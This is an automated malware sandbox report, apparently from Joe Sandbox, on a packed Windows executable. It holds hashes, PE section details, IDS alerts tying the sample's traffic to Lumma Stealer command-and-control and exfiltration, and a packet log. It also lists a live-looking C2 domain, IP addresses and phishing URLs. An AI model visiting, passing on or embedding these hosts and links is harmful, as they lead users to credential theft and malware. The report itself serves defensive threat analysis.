Excluded domains from analysis (whitelisted): client.wns.windows.com, prdv4a.aadg.msidentity.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ocsp.edge.digicert.com, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target bG89JAQXz2.exe, PID 6780 because there are no executed function
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: bG89JAQXz2.exe

Simulations

Behavior and APIs

Time	Type	Description
05:22:17	API Interceptor	8x Sleep call for process: bG89JAQXz2.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.36.201	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse
	4W3cB5WEYH.exe	Get hash	malicious	LummaC	Browse
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse
	xlSzrIs5h6.exe	Get hash	malicious	LummaC, Stealc	Browse
	NxqDwaYpbp.exe	Get hash	malicious	LummaC	Browse
	2jx1O1t486.exe	Get hash	malicious	LummaC, Stealc	Browse
	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
observerfry.lat	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.199.72
	tTGxYWtjG5.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	4W3cB5WEYH.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	ElmEHL9kP9.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.199.72
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	yO9EAqDV15.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	Collapse.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
fp2e7a.wpc.phicdn.net	q8b3OisMC4.dll	Get hash	malicious	Unknown	Browse	192.229.221.95
	eszstwQPwq.ps1	Get hash	malicious	LockBit ransomware, Metasploit	Browse	192.229.221.95
	0vM02qWRT9.ps1	Get hash	malicious	LockBit ransomware, Metasploit	Browse	192.229.221.95
	30136156071477318040.js	Get hash	malicious	Unknown	Browse	192.229.221.95
	BJQizQ6sqT.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	6vNMeuQvlu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	192.229.221.95
	2ZsJ2iP8Q2.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	BVGvbpplT8.exe	Get hash	malicious	LummaC, Stealc	Browse	192.229.221.95
	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	162.159.128.70
	https://office356quilter.krkonqghz.ru/Vt2VD2f3#https://outlookofficecom/mail/deleteditems/id/AAQkADU5#aGVpZGkuZGlsa0BxdWlsdGVyLmNvbQ==	Get hash	malicious	Unknown	Browse	104.21.17.63
	http://au.kirmalk.com/watch.php?vid=7750fd3c8	Get hash	malicious	Unknown	Browse	172.67.207.202
	eCompleted_419z.pdf	Get hash	malicious	HTMLPhisher	Browse	104.21.112.1
	3zg6i6Zu1u.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	oiF7u78bY2.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	L5Kgf2Tvkc.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	LVDdWBGnVE.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.63.229
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse	172.67.199.72

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	3zg6i6Zu1u.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	oiF7u78bY2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	L5Kgf2Tvkc.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	LVDdWBGnVE.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.36.201
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	J18uCKmoAw.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	y001L6lEK4.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201
	tTGxYWtjG5.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse	104.21.36.201

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948186625496114
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bG89JAQXz2.exe
File size:	1'883'136 bytes
MD5:	31e8115c0eed64699ce7e3480f6f3edd
SHA1:	1673ffededcbeda8de728cef76f2290ff87da236
SHA256:	1d00a9cd9a4df1835dac89bb08b8421ce81f456aaa25a4a2a9564f3e7e917fac
SHA512:	d69c8deae2c4f6a8d70eddbf9e62241ee5855de3525077cd694ccaf1461683f512f15787d42e0605908b37521c5c6ddb7ad2a90f382d9a616df612f5e5debf6a
SSDEEP:	49152:/ox15nYmqFlZPB2a/x8uuBg/qdnvOYQgFcq3QZos74Ov7U2:I15noXZZ2UNuHGYBeq3QTX3
TLSH:	449533D6211701FFDA1ADE38C5BBC6F132EC5D844CE9A76A6D2A186B2403DCB337151A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................PJ...........@...........................J.....E7....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7BE142035Ah
setp byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F7BE1422355h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	f4f1de9068f574daea9ad948baf42f47	False	0.9995212928921569	data	7.985159094316186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2ad000	0x200	de72bf56ee69b603eb5d0171423b054d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nnihojeu	0x302000	0x1a2000	0x1a1c00	10e15927c8f4f30a46599902afbcee69	False	0.9945017953321365	data	7.953527515958114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bjryrgvc	0x4a4000	0x1000	0x400	877fa603d2faa5a82ef98256b17e5c3a	False	0.728515625	data	5.754347912440689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a5000	0x3000	0x2200	796f9186dd844aebd2d180ebe115e2c9	False	0.06261488970588236	DOS executable (COM)	0.8016388436499706	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T11:22:17.453985+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49720	104.21.36.201	443	TCP
2024-12-24T11:22:18.307009+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49720	104.21.36.201	443	TCP
2024-12-24T11:22:18.307009+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49720	104.21.36.201	443	TCP
2024-12-24T11:22:19.694047+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49722	104.21.36.201	443	TCP
2024-12-24T11:22:20.454845+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49722	104.21.36.201	443	TCP
2024-12-24T11:22:20.454845+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49722	104.21.36.201	443	TCP
2024-12-24T11:22:22.442428+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49723	104.21.36.201	443	TCP
2024-12-24T11:22:24.621908+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49726	104.21.36.201	443	TCP
2024-12-24T11:22:26.953602+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49728	104.21.36.201	443	TCP
2024-12-24T11:22:30.273398+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49739	104.21.36.201	443	TCP
2024-12-24T11:22:31.026939+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49739	104.21.36.201	443	TCP
2024-12-24T11:22:33.132247+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49746	104.21.36.201	443	TCP
2024-12-24T11:22:35.975732+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49757	104.21.36.201	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 11:22:16.164307117 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:16.164360046 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:16.164472103 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:16.165805101 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:16.165818930 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:17.453861952 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:17.453984976 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:17.458709002 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:17.458714962 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:17.459000111 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:17.506756067 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:17.516252041 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:17.516305923 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:17.516386986 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:18.307010889 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:18.307106972 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:18.307163000 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:18.342845917 CET	49720	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:18.342861891 CET	443	49720	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:18.482959032 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:18.483004093 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:18.483098030 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:18.483377934 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:18.483386993 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:19.693958998 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:19.694046974 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:19.696196079 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:19.696204901 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:19.696461916 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:19.698157072 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:19.698184967 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:19.698230982 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.454821110 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.454868078 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.454893112 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.454916954 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.454981089 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.454997063 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.455005884 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.455049038 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.455076933 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.471447945 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.471527100 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.471532106 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.479789972 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.479856014 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.479860067 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.522377014 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.575540066 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.616307974 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.646764994 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.656740904 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.656841993 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.656877995 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.656913042 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.656976938 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.657162905 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.657186031 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.657201052 CET	49722	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.657207012 CET	443	49722	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.980156898 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.980220079 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:20.980350971 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.980815887 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:20.980849028 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:22.442302942 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:22.442428112 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:22.443783045 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:22.443798065 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:22.444128036 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:22.445487022 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:22.445661068 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:22.445698977 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:23.284411907 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:23.284656048 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:23.284745932 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:23.284934044 CET	49723	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:23.284951925 CET	443	49723	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:23.400783062 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:23.400821924 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:23.400901079 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:23.401267052 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:23.401278973 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:24.621753931 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:24.621907949 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:24.631303072 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:24.631329060 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:24.631757021 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:24.634403944 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:24.634607077 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:24.634670973 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:24.634733915 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:24.679327011 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:25.485270023 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:25.485398054 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:25.485517025 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:25.485738993 CET	49726	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:25.485758066 CET	443	49726	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:25.734002113 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:25.734035969 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:25.734178066 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:25.734462023 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:25.734486103 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:26.953475952 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:26.953602076 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:26.954910994 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:26.954919100 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:26.955142975 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:26.956800938 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:26.956978083 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:26.957009077 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:26.957091093 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:26.957098961 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:27.899187088 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:27.899346113 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:27.899432898 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:28.336146116 CET	49728	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:28.336169958 CET	443	49728	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:29.054780960 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:29.054838896 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:29.054915905 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:29.055532932 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:29.055548906 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:30.273197889 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:30.273397923 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:30.274499893 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:30.274507999 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:30.274873018 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:30.279803991 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:30.279886007 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:30.279891968 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:31.027023077 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:31.027292013 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:31.027358055 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:31.027971029 CET	49739	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:31.027988911 CET	443	49739	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:31.910317898 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:31.910377026 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:31.910533905 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:31.910871983 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:31.910891056 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.132147074 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.132246971 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.133466959 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.133476019 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.134028912 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.178627968 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.189414978 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.190269947 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.190340042 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.190471888 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.190535069 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.191164970 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.191215992 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.191374063 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.191405058 CET	443	49746	104.21.36.201	192.168.2.5
Dec 24, 2024 11:22:33.191554070 CET	49746	443	192.168.2.5	104.21.36.201
Dec 24, 2024 11:22:33.191579103 CET	443	49746	104.21.36.201	192.168.2.5
